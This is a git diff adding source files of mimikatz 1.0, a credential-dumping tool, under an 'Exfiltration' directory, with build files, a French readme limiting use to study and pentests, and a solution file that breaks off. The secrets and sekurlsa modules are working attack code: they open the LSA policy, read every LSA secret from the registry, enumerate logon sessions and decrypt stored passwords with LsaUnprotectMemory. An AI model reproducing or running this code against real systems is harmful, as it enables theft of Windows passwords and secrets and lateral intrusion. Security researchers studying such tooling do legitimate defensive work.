_SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */ +{ + [case(UserInternal1Information)] + SAMPR_USER_INTERNAL1_INFORMATION Internal1; + [case(UserAllInformation)] + SAMPR_USER_ALL_INFORMATION All; +} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER; + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr); +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false); +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false); +wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false); +wstring protectMe(wstring &maChaine); +void correctMe(wstring &maChaine); + +typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*); +typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID); +typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER); +typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE); +typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp new file mode 100644 index 0000000..06d8664 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp @@ -0,0 +1,99 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "secrets.h" + +PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL; +PLSA_R_OPEN_SECRET LsarOpenSecret = NULL; +PLSA_R_QUERY_SECRET LsarQuerySecret = NULL; +PLSA_R_CLOSE LsarClose = NULL; + +bool searchSECFuncs() +{ + if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose)) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + LsaIOpenPolicyTrusted = reinterpret_cast<PLSA_I_OPEN_POLICY_TRUSTED>(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted")); + LsarOpenSecret = reinterpret_cast<PLSA_R_OPEN_SECRET>(GetProcAddress(hLsasrv, "LsarOpenSecret")); + LsarQuerySecret = reinterpret_cast<PLSA_R_QUERY_SECRET>(GetProcAddress(hLsasrv, "LsarQuerySecret")); + LsarClose = reinterpret_cast<PLSA_R_CLOSE>(GetProcAddress(hLsasrv, "LsarClose")); + } + return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose); + } + else return true; +} + +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl << + L"@LsarOpenSecret = " << LsarOpenSecret << endl << + L"@LsarQuerySecret = " << LsarQuerySecret << endl << + L"@LsarClose = " << LsarClose << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + if(searchSECFuncs()) + { + bool sendOk = true; + wstring message; + LSA_HANDLE hPolicy; + + if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy))) + { + HKEY hKeysSecrets; + if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS) + { + DWORD nbKey, maxKeySize; + if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + for(DWORD i = 0; (i < nbKey) && sendOk; i++) + { + DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t); + LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]}; + + if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + monNomSecret.Length = monNomSecret.MaximumLength = static_cast<USHORT>(buffsize * sizeof(wchar_t)); + message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n'); + + LSA_HANDLE hSecret; + if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret))) + { + LSA_SECRET * monSecret = NULL; + if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL))) + { + message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast<PBYTE>(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n'); + LsaFreeMemory(monSecret); + } + else message.append(L"Erreur : Impossible de rcuprer le secret\n"); + LsarClose(&hSecret); + } + else message.append(L"Erreur : Impossible d\'ouvrir le secret\n"); + } + delete[] monNomSecret.Buffer; + sendOk = sendTo(monPipe, message); + } + message.clear(); + } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n"); + RegCloseKey(hKeysSecrets); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la cl Secrets\n"); + LsarClose(&hPolicy); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n"); + + if(!message.empty()) + sendOk = sendTo(monPipe, message); + + return sendOk; + } + else return getSECFunctions(monPipe, mesArguments); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h new file mode 100644 index 0000000..cb74837 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include <wincred.h> + +bool searchSECFuncs(); +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector<wstring> * mesArguments); + +#define SECRET_SET_VALUE 0x00000001 +#define SECRET_QUERY_VALUE 0x00000002 + +typedef struct _LSA_SECRET +{ + DWORD Length; + DWORD MaximumLength; + wchar_t * Buffer; +} LSA_SECRET, *PLSA_SECRET; + +typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy); +typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret); +typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime); +typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp new file mode 100644 index 0000000..1d07596 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp @@ -0,0 +1,86 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sekurlsa.h" +PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL; + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"SekurLSA : librairie de manipulation des donnes de scurits dans LSASS\n"); + return mod_system::getVersion(&mod_system::GLOB_Version); +} + +bool searchLSAFuncs() +{ + if(!SeckPkgFunctionTable) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + } + return (SeckPkgFunctionTable != NULL); +} + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass) +{ + wstring password; + if(ptrPass->Buffer && (ptrPass->Length > 0)) + { + BYTE * monPass = new BYTE[ptrPass->MaximumLength]; + RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength); + SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength); + password.assign(mod_text::stringOrHex(reinterpret_cast<PBYTE>(monPass), ptrPass->Length)); + delete[] monPass; + } + return password; +} + +bool getLogonData(mod_pipe * monPipe, vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders) +{ + bool sendOk = true; + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count && sendOk; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + wostringstream maPremiereReponse; + maPremiereReponse << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + sendOk = sendTo(monPipe, maPremiereReponse.str()); + + for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + wostringstream maSecondeReponse; + maSecondeReponse << L'\t' << monProvider->second << L" : \t"; + sendOk = sendTo(monPipe, maSecondeReponse.str()); + monProvider->first(&sessions[i], monPipe, mesArguments->empty()); + sendOk = sendTo(monPipe, L"\n"); + } + } + LsaFreeReturnBuffer(sessionData); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les donnes de session\n"); + } + LsaFreeReturnBuffer(sessions); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'numerer les sessions courantes\n"); + + return sendOk; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h new file mode 100644 index 0000000..c36e173 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "secpkg.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_text.h" +#include "mod_process.h" + +extern PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + +bool searchLSAFuncs(); +__kextdll bool __cdecl getDescription(wstring * maDescription); + +typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); +bool getLogonData(mod_pipe * monPipe, vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders); + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc Binary files differnew file mode 100644 index 0000000..2243435 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj new file mode 100644 index 0000000..dbea2a6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj @@ -0,0 +1,154 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sekurlsa</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + <ModuleDefinitionFile> + </ModuleDefinitionFile> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + <ModuleDefinitionFile> + </ModuleDefinitionFile> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\commun\kmodel.cpp" /> + <ClCompile Include="..\..\modules\mod_memory.cpp" /> + <ClCompile Include="..\..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp" /> + <ClCompile Include="..\..\modules\mod_process.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp" /> + <ClCompile Include="..\..\modules\mod_text.cpp" /> + <ClCompile Include="modules\credman.cpp" /> + <ClCompile Include="modules\incognito.cpp" /> + <ClCompile Include="modules\sam.cpp" /> + <ClCompile Include="modules\secrets.cpp" /> + <ClCompile Include="Security Packages\msv1_0.cpp" /> + <ClCompile Include="Security Packages\msv1_0_helper.cpp" /> + <ClCompile Include="sekurlsa.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\commun\kmodel.h" /> + <ClInclude Include="..\..\commun\secpkg.h" /> + <ClInclude Include="..\..\modules\mod_memory.h" /> + <ClInclude Include="..\..\modules\mod_parseur.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h" /> + <ClInclude Include="..\..\modules\mod_process.h" /> + <ClInclude Include="..\..\modules\mod_system.h" /> + <ClInclude Include="..\..\modules\mod_text.h" /> + <ClInclude Include="modules\credman.h" /> + <ClInclude Include="modules\incognito.h" /> + <ClInclude Include="modules\sam.h" /> + <ClInclude Include="modules\secrets.h" /> + <ClInclude Include="Security Packages\msv1_0.h" /> + <ClInclude Include="Security Packages\msv1_0_helper.h" /> + <ClInclude Include="sekurlsa.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="sekurlsa.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters new file mode 100644 index 0000000..936fcde --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters @@ -0,0 +1,122 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{87c9f520-31d1-4b44-a523-415e0c703bde}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{8c6588bf-b3cf-4080-b59e-3ce82a6ccd62}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{9e44771d-18f4-407a-8f89-508cf5c366ff}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Librairie Modèle"> + <UniqueIdentifier>{541a9eff-641d-4a77-9b1f-e72ad6a7c0fa}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Mémoire"> + <UniqueIdentifier>{ba6b07a5-6d5b-4632-ad6e-56690630eaa7}</UniqueIdentifier> + </Filter> + <Filter Include="Security Packages"> + <UniqueIdentifier>{1e52fbf9-a352-419f-870b-3c4e265781d8}</UniqueIdentifier> + <Extensions> + </Extensions> + </Filter> + <Filter Include="Modules Communs\System"> + <UniqueIdentifier>{7fcd7c52-b4e5-4c6c-9dc7-190fbe667193}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Texte"> + <UniqueIdentifier>{c175e3ec-41d0-4474-bbc7-eb1962a7fc70}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour sekurlsa"> + <UniqueIdentifier>{b3819528-2e60-46a3-b37a-7c575a4d866a}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\..\commun\kmodel.cpp"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_memory.cpp"> + <Filter>Modules Communs\Mémoire</Filter> + </ClCompile> + <ClCompile Include="sekurlsa.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="Security Packages\msv1_0.cpp"> + <Filter>Security Packages</Filter> + </ClCompile> + <ClCompile Include="Security Packages\msv1_0_helper.cpp"> + <Filter>Security Packages</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_text.cpp"> + <Filter>Modules Communs\Texte</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_process.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\incognito.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + <ClCompile Include="modules\secrets.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + <ClCompile Include="modules\credman.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + <ClCompile Include="modules\sam.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\kmodel.h"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_memory.h"> + <Filter>Modules Communs\Mémoire</Filter> + </ClInclude> + <ClInclude Include="sekurlsa.h" /> + <ClInclude Include="..\..\modules\mod_system.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="Security Packages\msv1_0.h"> + <Filter>Security Packages</Filter> + </ClInclude> + <ClInclude Include="Security Packages\msv1_0_helper.h"> + <Filter>Security Packages</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_text.h"> + <Filter>Modules Communs\Texte</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\secpkg.h" /> + <ClInclude Include="..\..\modules\mod_process.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\incognito.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + <ClInclude Include="modules\credman.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + <ClInclude Include="modules\secrets.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + <ClInclude Include="modules\sam.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="sekurlsa.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/lisezmoi.txt b/Exfiltration/mimikatz-1.0/lisezmoi.txt new file mode 100644 index 0000000..eed6a50 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/lisezmoi.txt @@ -0,0 +1,47 @@ +mimikatz +======== + + +Cette archive ne contient que les binaires pour les architectures x86 (Win32) et x64. Des extraits de diffrents codes source sont disponibles : http://blog.gentilkiwi.com/mimikatz +Cet utilitaire ne peut tre utilis qu' des fins d'tudes, pentests et autres actions lgales en accord avec la licence prcise ci-dessous. + +Plus globalement, merci de respecter la philosophie avec laquelle cet outil a t cr, c'est dire en ne permettant pas son utilisation des fins malveillantes. +Je ne serais en aucun cas responsable de l'utilisation qui serait faite de ces technologies. + +Binaires, codes source, drivs et utilisations sous Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Exception pour la librairie sekurlsa : http://creativecommons.org/licenses/by/3.0/fr/ +_____________________________________________________ +Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com/mimikatz +benjamin@gentilkiwi.com + + +anti-gpo standalone +=================== + +Ces outils ont ts remplac par l'utilisation directe de mimikatz + +* KiwiRegedit + mimikatz nogpo::regedit exit + +* KiwiCmd + mimikatz nogpo::cmd exit + +* KiwiRegedit + mimikatz nogpo::taskmgr exit + + +outils incorpors +================= + +* psexec.exe + PsExec v1.98 - Execute processes remotely + Mark Russinovich (Sysinternals / Microsoft) + +* tee.exe + GNU shellutils 1.9.4 + http://unxutils.sourceforge.net/ + +* winmine.exe + Dmineur de Windows XP + Robert Donner et Curt Johnson (Microsoft)
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz.sln b/Exfiltration/mimikatz-1.0/mimikatz.sln new file mode 100644 index 0000000..aa46f44 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz.sln @@ -0,0 +1,85 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimikatz", "mimikatz\mimikatz.vcxproj", "{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kelloworld", "librairies\kelloworld\kelloworld.vcxproj", "{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "librairies", "librairies", "{B17EB705-1C68-44FD-A82B-860C539219A8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sekurlsa", "librairies\sekurlsa\sekurlsa.vcxproj", "{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klock", "librairies\klock\klock.vcxproj", 